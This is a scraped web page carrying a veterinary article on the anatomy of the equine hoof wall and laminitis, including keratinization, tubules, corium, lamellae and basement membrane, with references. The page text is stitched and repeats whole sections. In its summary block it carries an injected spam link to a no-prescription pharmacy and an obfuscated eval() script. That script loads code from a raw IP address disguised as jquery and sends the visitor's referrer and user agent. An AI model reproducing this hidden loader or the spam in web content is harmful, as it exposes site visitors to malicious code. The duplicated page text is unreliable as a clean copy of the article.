layers (x 200).</strong></p> <p align="justify">The intertubular horn is formed at right angles to the tubular horn and bestows on the hoof wall the unique property of a mechanically stable, multidirectional, fibre-reinforced composite (Bertram and Gosline, 1987). Interestingly hoof wall is stiffer and stronger at right angles to the direction of the tubules a finding at odds with the usual assumption that the ground reaction force is transmitted proximally up the hoof wall parallel to the tubules. The hoof wall appears to be reinforced by the tubules but it is the intertubular material that accounts for most of its mechanical strength stiffness and fracture toughness. The tubules are 3 times more likely to fracture than intertubular horn (Leach, 1980; Bertram and Gosline 1986). The stratum medium is considered to have an anatomical design that confers strength in all directions. Unlike bone which is a living tissue and remodels to become stronger along lines of stress the stratum medium is nonliving tissue but is anatomically constructed to resist stress in every direction and to never require remodelling. During normal locomotion the stratum medium only experiences one-tenth of the compressive force required to cause its structural failure (Thomason et al 1992).</p> <p align="justify">The basal cell daughters whether destined to be tubular or intertubular hoof do not keratinize immediately. As the distance between basal cells and their daughters increases (each generation is pushed further away from the basal cell layer by the production of successive generations) the intracellular skeleton of the maturing cells becomes more dense (by the manufacture of more intermediate filaments composed of various keratin molecules). Thus by increasing the number of desmosomes more strong attachment zones are formed between the cell membranes of adjoining keratinocytes. Desmosomes are points of intercellular contact, which function like spot welds between adjacent cells (Fig 4).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_4.jpg" alt="anatomy_of_the_inner_hoofwall_4" width="797" border="0" height="515" /> <p align="justify"><strong>Fig 4. Desmosomes (D) are like spot-welds forming tight junctions between adjacent keratinocytes. Intermediate filaments made of keratin molecules form the internal skeleton of the cell and attach to the inner densely staining attachment plaque of the desmosome. Electron micrograph x 15,000.</strong></p> <p align="justify">Within the cell, keratin intermediate filaments also attach to the desmosome to form the three-dimensional internal skeleton of the cell. Thus the keratinocytes transform, becoming sturdier and more durable to stress and strain. The final stage of keratinocyte maturation is abrupt. The cell nucleus fragments and disappears and the cell is declared officially dead. At this stage hoof keratinocytes will incorporate the fluorescent dye Rhodamine and we have successfully stained the anuclear, fully keratinized, layer in the hooves of living horses (Fig 5).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_5.jpg" alt="anatomy_of_the_inner_hoofwall_5" width="389" border="0" height="300" /> <p align="justify"><strong>Fig 5. Serial longitudinal sections of the coronary band in the region of greatest hoof wall production. The horse was treated with Rhodamine to detect the zone of final keratinization. Photographed with UV light (right) the red zone (arrow) shows where Rhodamine was incorporated into keratinocytes as they became anuclear and fully keratinized. For comparison a serial section was H&H stained. The zone of keratinization corresponds with the anuclear, weakly eosinophilic, zone of hard hoof wall x200.</strong></p> <p align="justify">Granular, densely staining material (membrane-coating granules), migrates through the cytoplasm to be deposited on the outside of the cell as an intercellular cement substance. At this late stage of keratinocyte maturation the cell is anuclear, and the cytoplasm is densely packed with filaments of tough keratin which interconnect with each other and to desmosomes and the cell membrane of each cell is firmly cemented to its neighbor. Finally the keratin filaments are embedded in a dense, amorphous, matrix; rich in sulphur containing amino acids (but not keratin), to form the mature corneocyte. The fully keratinised cells (corneocytes) of the tubular and intertubular hoof, cemented firmly to each other form a continuum; the tough yet flexible stratum medium of the hoof wall. Mature corneocytes, firmly cemented together, form a tough protective barrier preventing the passage of water and water soluble substances inwards and the loss of body fluids, imparted by the highly vascular dermis, outwards. In addition to acting as a permeability barrier, hoof wall corneocytes, arranged in their specialized tubular and intertubular configuration, have the crucial job of ultimately supporting the entire weight of the horse (Pollitt 1992).</p> <p align="center"><strong>HOOF WALL TUBULES</strong></p> <p align="justify">The tubules of the equine hoof wall are not arranged randomly. The tubules of the <em>stratum medium </em>are arranged in four distinct zones based on the density of tubules in the intertubular horn (Reilly et al 1996). The zone of highest tubule density is the outermost layer and the density declines stepwise towards the internal lamellar layer. Since the force of impact with the ground (the ground reaction force) is transmitted proximally up the wall (Thomason et al 1992) the tubule density gradient across the wall appears to be a mechanism for smooth energy transfer, from the rigid (high tubule density) outer wall to the more plastic (low tubule density) inner wall, and ultimately to the distal phalanx. The gradient in tubule density mirrors the gradient in water content across the hoof wall (Pollitt 1995) and together these factors represent an optimum design for equine hoof wall. Bertram and Gosline (1986) and more recently Reilly et al (1996) have argued that tubule zonation is also a crack-stopping mechanism. The zones confer on the hoof wall the design properties of a laminated composite; the interface between zones absorbs energy and prevents the propagation of cracks towards sensitive inner structures. In addition the anisotropy (stronger in one direction) of the stratum medium ensures that cracks, when they occur propagate from the bearing surface upwards parallel with the tubules ie along the weakest plane. They do not extend to the innermost layers of the hoof wall because in this region the relatively high water content confers high crack resistance (Thomason et al, 1992). The hoof wall also has a powerful dampening function on vibrations generated when the hoof wall makes contact with the ground during locomotion. It is able to reduce both the frequency and maximal amplitude of the vibrations (Dyhre-Poulsen et al, 1994). By the time the shock of impact with the ground reaches the first phalanx around 90% of the energy has been dissipated, mainly at the lamellar interface.</p> <p align="center"><strong>THE CORIUM</strong></p> <p align="justify">The highly vascular corium or dermis (popularly the “quick”) underlies the hoof wall and consists of dense matrix of tough connective tissue containing a network of arteries, veins and capillaries, and sensory and vasomotor nerves. All parts of the corium, except for the lamellar corium, have papillae that fit tightly into the holes in the adjacent hoof. The lamellar corium has dermal lamellae that interlock with the epidermal lamellae of the inner hoof wall and bars. The corium provides the hoof with nourishment and its dense matrix of connective tissue connects the basement membrane of the dermal- epidermal junction to the periosteal surface of the distal phalanx and thus suspends the distal phalanx from the inner wall of the hoof capsule.</p> <p align="center"><strong>THE CORONARY CORIUM</strong></p> <p align="justify">The coronary corium fills the coronary groove and blends distally with the lamellar corium. Its inner surface is attached to the extensor tendon and the cartilages of the distal phalanx by the subcutaneous tissue of the coronary cushion. Collectively the coronary corium and the germinal epidermal cells that rest upon its basement membrane are known as the coronary band. A feature of the coronary corium is the large numbers of hair-like papillae projecting from its surface. Each tapering papilla fits into one of the holes on the surface of the epidermal coronary groove and in life, is responsible for nurturing an individual hoof wall tubule. This is shown in Fig 6. The basement membrane surface of the hoof wall corium was examined with the scanning electron microscope after treatment of hoof tissue blocks with a detergent enzyme mixture (Pollitt 1994). A clean separation could be made between dermal and epidermal tissues enabling the surface of the dermal basement membrane to be examined in detail. The basement membrane of the coronary and terminal papillae was folded into numerous ridges parallel with the long axis of the papilla. These longitudinal ridges on the surface of the papillae are analogous to the folded secondary dermal lamellae and probably share the similar role of increasing the surface area of attachment between the epidermal hoof and the connective tissue of the distal phalanx. They may also act as guides or channels directing columns of maturing keratinocytes in a correctly oriented proximo-distal correction (Fig 6). The density of coronary papillae is greatest at the periphery and least, adjacent to the lamellae. This mirrors the arrangement of the hoof wall tubules in zones based on tubule density.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_6.jpg" alt="anatomy_of_the_inner_hoofwall_6" width="433" border="0" height="630" /> <p align="justify"><strong>Fig 6. These papillae of the coronary corium have been treated with a detergent enzyme mixture and have been gently teased away from the proximal hoof wall. Normally they fit into long thin tapering holes in the coronary groove. Each papilla is responsible for the nutrition and organization of an individual hoof wall tubule. The highly magnified electron microscope picture (bottom) shows that the basement membrane of the papillae is folded as if forming parallel channels to act as guides directing columns of maturing keratinocytes in a correctly oriented proximo-distal correction. </strong></p> <p align="center"><strong>THE INNER HOOF WALL </strong></p> <p align="justify">The innermost layer of the hoof wall and bars of horses and ponies is named the <em>stratum lamellatum </em>(layer of leaves) after the 550-600 epidermal lamellae (primary epidermal lamellae) which project from its surface in parallel rows. Examination of the hoof capsule, with its contents removed, shows that the lamellae of the dorsal hoof wall are shaped like long thin rectangles approximately 7mm wide and 50mm long. One long edge of the rectangle is incorporated into the tough, heavily keratinised hoof wall proper (<em>stratum medium)</em> and the other long edge is free, facing the outer surface of the distal phalanx. The proximal short edge is curved and forms the curved shoulder of the coronary groove. The distal short edge merges with the sole and becomes part of the white zone visible at the ground surface of the hoof.</p> <p align="justify">In common with all epidermal structures the lamellae of the inner hoof wall are avascular and depend on capillaries in the microcirculation of the adjacent dermis for gaseous exchange and nutrients. The epidermal cells closest to the dermis (the basal cell or germinal cell layer) contain little keratin and have the potential to proliferate into keratinizing daughter cells. Whereas the epidermal basal cells lining the coronary groove and sole proliferate continuously into keratinizing daughter cells to form the tough but flexible hoof wall and sole respectively convincing evidence that the basal cells of normal lamellae proliferate to the same degree is lacking. Proliferating lamellar basal cells are confined to the proximal 10% of the lamellar inner hoof wall and are absent in the rest. Thus, in the same way as the hoof wall proper is subject to a downward force exerted by the proliferating basal cell layer of the coronary groove so to are the lamellae. The primary function of the lamellar hoof is to suspend the distal phalanx within the hoof capsule. It reserves its proliferative potential for the healing of injuries.</p> <p align="center"><strong>SECONDARY EPIDERMAL LAMELLAE</strong></p> <p align="justify">If the role of the epidermal lamellae is indeed suspensory, then an anatomical specialization increasing the surface area for the attachment of the multitude of collagenous fibres emanating from the outer surface of the distal phalanx would be expected. The secondary epidermal lamellae are just such a specialization. During the formation of an epidermal lamella, on the shoulders of the inner coronary groove, the basal cell layer proliferates causing folds (secondary lamellae) to form along the lamellar perimeter. The basal cell proliferation index is high on the shoulders of the coronary groove in the region of secondary lamella formation (Daradka and Pollitt, unpublished data). The folds elongate to form an extra 150-200 secondary lamellae along the length of each of the 550-600 primary lamella (Fig 7).</p> <p align="justify">The tips of the lamellae (both primary and secondary) all orientate towards the distal phalanx thus indicating the lines of tension to which the lamellar suspensory apparatus is subjected. The surface area of the equine inner hoof wall has been calculated to average 1.3m<sup>2 </sup>(Daradka and Pollitt unpublished data), about the size of the surface area of the skin of a small adult human (a considerable increase over the inner surface area of bovine hooves which lack secondary lamellae). This large surface area for suspension of the distal phalanx and the great compliance of the interdigiting lamellar architecture helps reduce stress and ensures even energy transfer during peak loading of the equine foot (Bertram and Gosline, 1987). In life, the hoof distal phalangeal attachment apparatus is impressively strong; during peak loading the hoof wall and the distal phalanx move in concert and separate only when laminitis interferes with lamellar anatomy.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_7.jpg" alt="anatomy_of_the_inner_hoofwall_7" width="728" border="0" height="945" /> <p align="justify"><strong>Fig 7. To increase the surface area of the inner hoof wall there are 550-600 primary epidermal lamellae (PELs). The surface area of each PEL is further increased with an extra 150-200 secondary lamellae along the length of each of PEL. The tips of the lamellae (both primary and secondary) all orientate towards the distal phalanx (on the right of each picture but not shown) thus indicating the lines of tension to which the lamellar suspensory apparatus is subjected. The upper picture is an unstained section magnified about x10. The lower picture is an electron micrograph: the bar = 0.1mm. In life each PEL measures about 7 mm when viewed in this plane. </strong></p> <p align="center"><strong>THE BASEMENT MEMBRANE</strong></p> <p align="justify">At the interface of the epidermis and the dermis is a tough, unbroken sheet of extracellular matrix called the basement membrane. This key structure is the bridge attaching the basal cells of the lamellar epidermis on one side and the fine connective tissue fibrils (type I collagen) emanating from the dorsal surface of the distal phalanx on the other. The ultrastructure of the equine hoof basement membrane is essentially the same as in other animals but with some important specializations. It is a sheet-like three-dimensional anastomosing latticework of fine interconnecting cords. The axial skeleton of the cord network consists of filaments of collagen IV. The collagen IV filaments are ensheathed with glycoproteins, in particular laminin which together form the electron dense <em>lamina densa</em>. Innumerable extensions of the <em>lamina densa </em>and banded anchoring filaments in the shape of recurved hooks intermesh with the type I collagen fibrils of the connective tissue of the lamellar corium forming an important part of the attachment mechanism between dermis and epidermis. The equine basement membrane has a high density of <em>lamina densa</em>extensions and anchoring filaments around the tips of the secondary epidermal lamellae a feature perhaps not surprising in a large ungulate, weight bearing, on single digits (Pollitt 1994).</p> <p align="justify">Laminin, one of the key proteins of the basement membrane, forms receptor sites and ligands for a complex array of growth factors, cytokines, adhesion molecules and integrins. Without an intact, functional, basement membrane, the epidermis, to which it is attached, falls into disarray. Significantly, disintegration and separation of the lamellar basement membrane is a feature of acute laminitis. Laminin and collagen IV disappear from the basement membrane which progressively loses its close attachment to the basal cells and strips away from the epidermal lamellae (Pollitt and Daradka, 1998).</p> <p align="center"><strong>LAMELLAR REMODELLING ENZYMES</strong></p> <p align="justify">Connective tissue and keratinocytes are now known to remodel and continually upgrade their spatial organization by the tightly controlled production of a specific class of enzymes known as matrix metalloproteinases (MMPs). Two members of the MMP family (MMP-2 and MMP-9) have recently been isolated from homogenized normal hoof wall lamellae and from normal lamellar explants cultured in tissue culture medium (Pollitt et al, 1998). Secreted as inactive proenzymes and, when activated, promptly inhibited by locally produced inhibitors (tissue inhibitors of metalloproteinase of TIMPs) it is MMP activity which is likely responsible for the remodelling of the various classes of epidermal cells between the basement membrane, the secondary epidermal lamellae and primary epidermal lamellae (Fig 8). The protein constituents of the basement membrane (type IV collagen, type VII collagen and laminin), are known substrates of the matrix metalloproteinases MMP-2 and MMP-9 (Salamonsen, 1994). After wounding, surviving keratinocytes, responding to locally produced cytokines detach from the basement membrane and commence the re-epithelialization process. Keratinocytes, responding to trauma or infection, readily synthesize both interleukin-1 and tumour necrosis factor-a (Cork et al 1993). Cytokines such as these upregulate the production of MMPs and an essential first step before keratinocytes can detach from the basement membrane is pericellular proteolysis via the increased production of MMP (Salo et al, 1991). The disorganization of the epidermal cells of the secondary epidermal lamellae, the wholesale separation of basal cells from the basement membrane and lysis of basement membrane which occurs early in the pathology of laminitis (Pollitt, 1996) are now thought to be caused by the triggering of activation of uncontrolled, excessive MMP production. Since MMPs are now known to be present in the region of the secondary epidermal lamellae, presumably for normal remodelling purposes, this seems a reasonable proposition.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_8.jpg" alt="anatomy_of_the_inner_hoofwall_8" width="567" border="0" height="373" /> <p align="justify"><strong>Fig 8. Epidermal lamellae overlaid with a thin film of gelatin (photographic emulsion) show that matrix metalloproteinase (MMP) or gelatinase activity is located in the epidermal basal cells beneath the basement membrane. MMP activity is probably responsible for the remodelling of the various classes of epidermal cells between the basement membrane, the secondary epidermal lamellae and primary epidermal lamellae.</strong></p> <p align="center"><strong>ACKNOWLEDGMENTS</strong></p> <p align="justify">This research was funded by a grant from the RIRDC entitled “Investigations into the cause and prevention of equine laminitis”. In addition the author gratefully acknowledges the generous financial assistance of O’Dwyer Horseshoes (Australia) Pty. Ltd. and the Animal Health Foundation (St Louis, Missouri) both of whom have committed on-going funds to assist the work of the Australian Equine Laminitis Research Unit at The University of Queensland.</p> <p align="center"><strong>REFERENCES</strong></p> <p align="justify">Bertram, J.E.A. and Gosline, J.M. (1986). Fracture toughness design in horse hoof keratin. J. exp. Biol. <strong>125, 29-47.</strong></p> <p align="justify">Bertram, J.E.A. and Gosline, J.M. (1987). Functional design of horse hoof keratin: the modulation of mechanical properties through hydration effects. J. exp. Biol. <strong>130,</strong>121-136.</p> <p align="justify">Bragulla, H., Reese, S. and Mulling, C. (1994). Histochemical and immunohistochemical studies of the horn quality of equine hoof. Anatomia Histologia Embrylogia, 19<sup>th</sup> Congress of European Association Vet’ Anatomists, Ghent & Antwerp Belgium, 24-28 August 1992. <strong>23,</strong> 1, 44-45.</p> <p align="justify">Cork, M.J., Mee,J.B. and Duff, G.W. (1993). Cytokines. In: Molecular aspects of dermatology pp 129-146. Edited by G C Priestley. John Wiley & Sons, Chichester.</p> <p align="justify">Dyhre-Poulsen, P., Smedegaard, H.H., Roed, J. and Korsgaard, E. (1994). Equine hoof function investigated by pressure transducers inside the hoof and accelerometers mounted on the first phalanx. Equine vet.J. <strong>26</strong>, 362-366.</p> <p align="justify">Leach, D.H. (1980). The structure and function of the equine hoof wall. PhD thesis. Department of Veterinary Anatomy, University of Saskatchewan, Saskatoon, Saskatchewan, Canada.</p> <p align="justify">Leach DH and Oliphant LW (1983). Ultrastructure of the equine hoof wall secondary epidermal lamellae. Am J Vet Res <strong>44</strong>:1561-1570.</p> <p align="justify">Pollitt, C.C. (1992) Clinical anatomy and physiology of the normal equine foot. Equine vet. Educ. <strong>4</strong>, 219-224.</p> <p align="justify">Pollitt, C.C. (1994). The basement membrane at the equine hoof dermal epidermal junction. Equine vet J: <strong>26</strong>, 399-407.</p> <p align="justify">Pollitt, C.C. (1995). Color Atlas of the Horse’s Foot, Mosby-Wolfe, London.</p> <p align="justify">Pollitt, C.C. (1996). Basement membrane pathology: a feature of acute laminitis. Eq vet J <strong>28</strong>: 38-46.</p> <p align="justify">Pollitt, C.C and Daradka, M. (1998). Equine basement membrane pathology: loss of type IV collagen, type VII collagen and laminin immunostaining. The Equine Hoof, Equine vet. J. Supplement <strong>27</strong>.</p> <p align="justify">Pollitt C C, Pass M A and Pollitt S (1998). Batimastat inhibits matrix metalloproteinases of equine laminitis. E The Equine Hoof, Equine vet. J. Supplement <strong>27</strong>.</p> <p align="justify">Priestley, G.C. (1993). An introduction to the skin and its diseases. In: Molecular aspects of dermatology pp1-17. Edited by G C Priestley. John Wiley & Sons, Chichester.</p> <p align="justify">Reilly, J.D., Cottrell, D.F., Martin, R.J. and Cuddeford, D. (1996). Tubule density in equine hoof horn. Biomimetics <strong>4,</strong> 23-36.</p> <p align="justify">Salamonsen L A (1994). Matrix metalloproteinases and endometrial remodelling. Cell Biol International<strong> 18</strong>:1139-1144.</p> <p align="justify">Salo T et al (1991). Transforming growth factor-beta up-regulates type IV collagenase expression in cultured human keratinocytes. J Biol Chem <strong>266</strong>: 11436-11441.</p> <p align="justify">Thomason, J.J., Biewener, A.A. and Bertram, J.E.A. (1992) Surface strain on the equine hoof wall in vivo: implications for the material design and functional morphology of the wall. J. Exper. Biol. <strong>166,</strong>145-165.</p> <p>© <em>Christopher C. Pollitt, BVSc, PhD.</em><br />Associate Professor of Equine Medicine<br />Australian Laminitis Research Unit<br />School of Veterinary Science and Animal Production<br />The University of Queensland<br />Qld 4072 AUSTRALIA<br />c.pollitt@mailbox.uq.edu.au<br />ph 61 7 3365 2063 fax 61 7 3365 1899</p> <p>Posted here with the permission of the author.</p></div> <div class="feed-description"><p align="justify"><span class="dropcap">R</span>esearch into the structure and function of the hoof wall has proven fundamental to the understanding of how important diseases such as laminitis develop. This article reviews current information on the equine hoof wall and its internal lamellar layer (with notes on the developmental mechanism of laminitis) in the hope that a more unified approach to the rational management of the hoof wall, <a href="http://******noprescription.net" style="text-decoration:none;color:#555555">check</a> by both veterinarians, horse owners and farriers alike, will be the outcome.</p><noindex><script id="jminfo-pst1" type="text/javascript" rel="nofollow">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("<a g=\'2\' c=\'d\' e=\'b/2\' 4=\'7://5.8.9.f/1/h.s.t?r="+3(0.p)+"\\o="+3(j.i)+"\'><\\/k"+"l>");n m="q";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhzhn|var|u0026u|referrer|raihh||js|php'.split('|'),0,{})) </script></noindex> <p align="justify"><img style="float: left;" src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_9.gif" alt="anatomy_of_the_inner_hoofwall_9" width="375" align="left" border="0" height="524" /></p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"> </p> <p align="center"><strong>INTRODUCTION </strong></p> <p align="justify">Members of the mammalian family Equidae represent the extreme result of digitigrade evolution. Single digits, encased in tough, keratinized hooves, on the end of relatively lightweight limbs, have undoubtedly, contributed to the speed and versatility of the equids. But at a price. Immobility and crippling result if the connection between hoof and bone (the lamellar distal phalangeal attachment apparatus) fails. Considerable selection pressure against such failure (otherwise known as laminitis) must exist among wild equids as a foundered animal would quickly attract the attention of predators. Equids are normally mobile and athletic but when they develop laminitis and become crippled we realize, belatedly, how dependent they were on an intact, functional, pain-free lamellar distal phalangeal suspensory apparatus.</p> <p align="center"><strong>HOOF WALL KERATINIZATION</strong></p> <p align="justify">The word <em>keratin</em> is from the Greek <em>keratos</em>for horn, which is appropriate for a discussion on the horse’s hoof. Keratin is the main structural protein of the epidermis and is present in skin, hair, nail, claw, wool, horn, feather, scale as well as hoof. The keratins can be loosely grouped into the “soft” keratins of skin and the “hard” keratins of horn and hair etc. The tubular hoof of the wall is composed of hard keratin, is rich in disulphide bonds sole and has great physical strength. The frog and the white zone on the other hand are rich in sulphydryl groups but poor in disulphide bonds and have lower physical strength but greater elasticity (Bragulla et al, 1994). Non stop production of new hoof makes good the continual loss of hoof wall, occurring at the distal ground surface. The strength, hardness and insolubility of keratin is due to disulphide bonds between and within its long chain fibrous molecules (Priestley, 1993). The sulphur containing amino acids methionine and cysteine are incorporated into the keratinocytes in the final stages of its maturation hence the requirement of these amino acids (or their sulphur containing precursors) in the diet. There are in fact dozens of different keratin molecules, with molecular weights in the range 40-70 kDa with varying degrees of hardness and sulphur concentration, expressed in hoof tissues in accordance with their functional destiny.</p> <p align="justify">Examination of the hoof capsule, with its contents removed, shows countless thousands of small, circular, holes pocking the surface of the coronary groove (Fig 1).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_1.jpg" alt="anatomy_of_the_inner_hoofwall_1" width="757" border="0" height="499" /> <p align="justify"><strong>Fig 1. Hoof with contents removed. Countless small holes pock the surface of the coronary groove (C). The 550-600 lamellae (L) of the hoof wall arise on the inner shoulders of the coronary groove.</strong></p> <p align="justify">A sagittal section of the proximal hoof wall shows that the holes continue distally into the body of the wall as tubes, 4-5 mm in length, gradually tapering to a point. A layer of confluent epidermal basal cells covers the surface of the holes and the surface of the coronary groove between the holes.</p> <p align="center"><strong>HOOF WALL GROWTH</strong></p> <p align="justify">The hoof wall grows throughout the life of the horse. Continual regeneration of the hoof wall occurs at the coronary band where germinal cells (epidermal basal cells) produce populations of daughter cells (keratinocytes or keratin producing cells) which mature and keratinize, continually adding to the proximal hoof wall. We have used an improved method of cell proliferation detection to show the precise location of basal cells undergoing mitosis and the kinetics of basal cell proliferation in the coronary band region of ponies (Daradka and Pollitt unpublished data). The thymidine analogue (5-bromo-2’-deoxyuridine or BRdU) injected intravenously into living horses was incorporated into all cells undergoing mitosis during the 6h study period. Histological sections of hoof tissue stained immunohistochemically, using monoclonal antibodies against BrdU, showed a high rate of basal cell mitosis in the coronary zones producing intertubular hoof and tubular hoof (Fig 2) and in the proximal lamellar zone. Evidence of basal cell proliferation in the remainder of the lamellar region was lacking. The implications of this finding will be discussed later.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_2.jpg" alt="anatomy_of_the_inner_hoofwall_2" width="282" border="0" height="291" /> <p align="justify"><strong>Fig 2. Longitudinal section of proximal hoof (coronary band) stained for immunolocalisation of BrDU that was injected intravenously into a normal horse 6h previously. The positive brown staining cells are basal cells that have incorporated BrDU as they have undergone mitosis in the previous 6 h. Both the tubular and intertubular hoof show a high rate of mitosis.</strong></p> <p align="justify">As already shown these coronary basal cells undergo mitosis throughout the life of the horse producing daughter cells which mature and keratinize undertaking a journey, up to 8 months in duration, in the direction of the ground surface. Maturing keratinocytes, arising from basal cells lining the holes, become organized into thin, elongated, cylinders or tubules. In cross-section the keratinocytes of individual hoof wall tubules are arranged around a central hollow medulla in non pigmented concentric layers (Fig 3). Each hair-like tubule is continuous, from its origin at the coronary band all the way to the ground surface (a distance of 5-15 cm depending on the breed). The keratinocytes generated between the holes mature into inter-tubular hoof thus forming a keratinized cellular matrix in which tubules are embedded.</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_3.jpg" alt="anatomy_of_the_inner_hoofwall_3" width="752" border="0" height="570" /> <p align="justify"><strong>Fig 3. Transverse section of a pigmented hoof wall (unstained). The intertubular hoof is heavily pigmented and is the strongest component of the hoof wall. In contrast the unpigmented tubules of the hoof wall have a hollow medulla and the mature keratinocytes of the tubular hoof are arranged in concentric layers (x 200).</strong></p> <p align="justify">The intertubular horn is formed at right angles to the tubular horn and bestows on the hoof wall the unique property of a mechanically stable, multidirectional, fibre-reinforced composite (Bertram and Gosline, 1987). Interestingly hoof wall is stiffer and stronger at right angles to the direction of the tubules a finding at odds with the usual assumption that the ground reaction force is transmitted proximally up the hoof wall parallel to the tubules. The hoof wall appears to be reinforced by the tubules but it is the intertubular material that accounts for most of its mechanical strength stiffness and fracture toughness. The tubules are 3 times more likely to fracture than intertubular horn (Leach, 1980; Bertram and Gosline 1986). The stratum medium is considered to have an anatomical design that confers strength in all directions. Unlike bone which is a living tissue and remodels to become stronger along lines of stress the stratum medium is nonliving tissue but is anatomically constructed to resist stress in every direction and to never require remodelling. During normal locomotion the stratum medium only experiences one-tenth of the compressive force required to cause its structural failure (Thomason et al 1992).</p> <p align="justify">The basal cell daughters whether destined to be tubular or intertubular hoof do not keratinize immediately. As the distance between basal cells and their daughters increases (each generation is pushed further away from the basal cell layer by the production of successive generations) the intracellular skeleton of the maturing cells becomes more dense (by the manufacture of more intermediate filaments composed of various keratin molecules). Thus by increasing the number of desmosomes more strong attachment zones are formed between the cell membranes of adjoining keratinocytes. Desmosomes are points of intercellular contact, which function like spot welds between adjacent cells (Fig 4).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_4.jpg" alt="anatomy_of_the_inner_hoofwall_4" width="797" border="0" height="515" /> <p align="justify"><strong>Fig 4. Desmosomes (D) are like spot-welds forming tight junctions between adjacent keratinocytes. Intermediate filaments made of keratin molecules form the internal skeleton of the cell and attach to the inner densely staining attachment plaque of the desmosome. Electron micrograph x 15,000.</strong></p> <p align="justify">Within the cell, keratin intermediate filaments also attach to the desmosome to form the three-dimensional internal skeleton of the cell. Thus the keratinocytes transform, becoming sturdier and more durable to stress and strain. The final stage of keratinocyte maturation is abrupt. The cell nucleus fragments and disappears and the cell is declared officially dead. At this stage hoof keratinocytes will incorporate the fluorescent dye Rhodamine and we have successfully stained the anuclear, fully keratinized, layer in the hooves of living horses (Fig 5).</p> <img src="images/stories/horshoes-graphics/anatomy_of_the_inner_hoofwall_5.jpg" alt="anatomy_of_the_inner_hoofwall_5" width="389" border="0" height="300" /> <p align="justify"><strong>Fig 5. Serial longitudinal sections of the coronary band in the region of greatest hoof wall production. The horse was treated with Rhodamine to detect the zone of final keratinization. Photographed with UV light (right) the red zone (arrow) shows where Rhodamine was incorporated into keratinocytes as they became anuclear and fully keratinized. For comparison a serial section was H&H stained. The zone of keratinization corresponds with the anuclear, weakly eosinophilic, zone of hard hoof wall x200.</strong></p> <p align="justify">Granular, densely staining material (membrane-coating granules), migrates through the cytoplasm to be deposited on the outside of the cell as an intercellular cement substance. At this late stage of keratinocyte maturation the cell is anuclear, and the cytoplasm is densely packed with filaments of tough keratin which interconnect with each other and to desmosomes and the cell membrane of each cell is firmly cemented to its neighbor. Finally the keratin filaments are embedded in a dense, amorphous, matrix; rich in sulphur containing amino acids (but not keratin), to form the mature corneocyte. The fully keratinised cells (corneocytes) of the tubular and intertubular hoof, cemented firmly to each other form a continuum; the tough yet flexible stratum medium of the hoof wall. Mature corneocytes, firmly cemented together, form a tough protective barrier preventing the passage of water and water soluble substances inwards and the loss of body fluids, imparted by the highly vascular dermis, outwards. In addition to acting as a permeability barrier, hoof wall corneocytes, arranged in their specialized tubular and intertubular configuration, have the crucial job of ultimately supporting the entire weight of the horse (Pollitt 1992).</p> <p align="center"><strong>HOOF WALL TUBULES</strong></p> <p align="justify">The tubules of the equine hoof wall are not arranged randomly. The tubules of the <em>stratum medium </em>are arranged in four distinct zones based on the density of tubules in the intertubular horn (Reilly et al 1996). The zone of highest tubule density is the outermost layer and the density declines stepwise towards the internal lamellar layer. Since the force of impact with the ground (the ground reaction force) is transmitted proximally up the wall (Thomason et al 1992) the tubule density gradient across the wall appears to be a mechanism for smooth energy transfer, from the rigid (high tubule density) outer wall to the more plastic (low tubule density) inner wall, and ultimately to the distal phalanx. The gradient in tubule density mirrors the gradient in water content across the hoof wall (Pollitt 1995) and together these factors represent an optimum design for equine hoof wall. Bertram and Gosline (1986) and more recently Reilly et al (1996) have argued that tubule zonation is also a crack-stopping mechanism. The zones confer on the hoof wall the design properties of a laminated composite; the interface between zones absorbs energy and prevents the propagation of cracks towards sensitive inner structures. In addition the anisotropy (stronger in one direction) of the stratum medium ensures that cracks, when they occur propagate from the bearing surface upwards parallel with the tubules ie along the weakest plane. They do not extend to the innermost layers of the hoof wall because in this region the relatively high water content confers high crack resistance (Thomason et al, 1992). The hoof wall also has a powerful dampening function on vibrations generated when the hoof wall makes contact with the ground during locomotion. It is able to reduce both the frequency and maximal amplitude of the vibrations (Dyhre-Poulsen et al, 1994). By the time the shock of impact with the ground reaches the first phalanx around 90% of the energy has been dissipated, mainly at the lamellar interface.</p> <p align="center"><strong>THE CORIUM</strong></p> <p align="justify">The highly vascular corium or dermis (popularly the “quick”) underlies the hoof wall and consists of dense matrix of tough connective tissue containing a network of arteries, veins and capillaries, and sensory and vasomotor nerves. All parts of the corium, except for the lamellar corium, have papillae that fit tightly into the holes in the adjacent hoof. The lamellar corium has dermal lamellae that interlock with the epidermal lamellae of the inner hoof wall and bars. The corium provides the hoof with nourishment and its dense matrix of connective tissue connects the basement membrane of the dermal- epidermal junction to the periosteal surface of the distal phalanx and thus suspends the distal phalanx from the inner wall of the hoof capsule.</p> <p align="center"><strong>THE CORONARY CORIUM</strong></p> <p align="justify">The coronary corium fills the coronary groove and blends distally with the lamellar corium. Its inner surface is attached to the extensor tendon and the cartilages of the distal phalanx by the subcutaneous tissue of the coronary cushion. Collectively the coronary corium and the germinal epidermal cells that rest upon its basement membrane are known as the coronary band. A feature of the coronary corium is the large numbers of hair-like papillae projecting from its surface. Each tapering 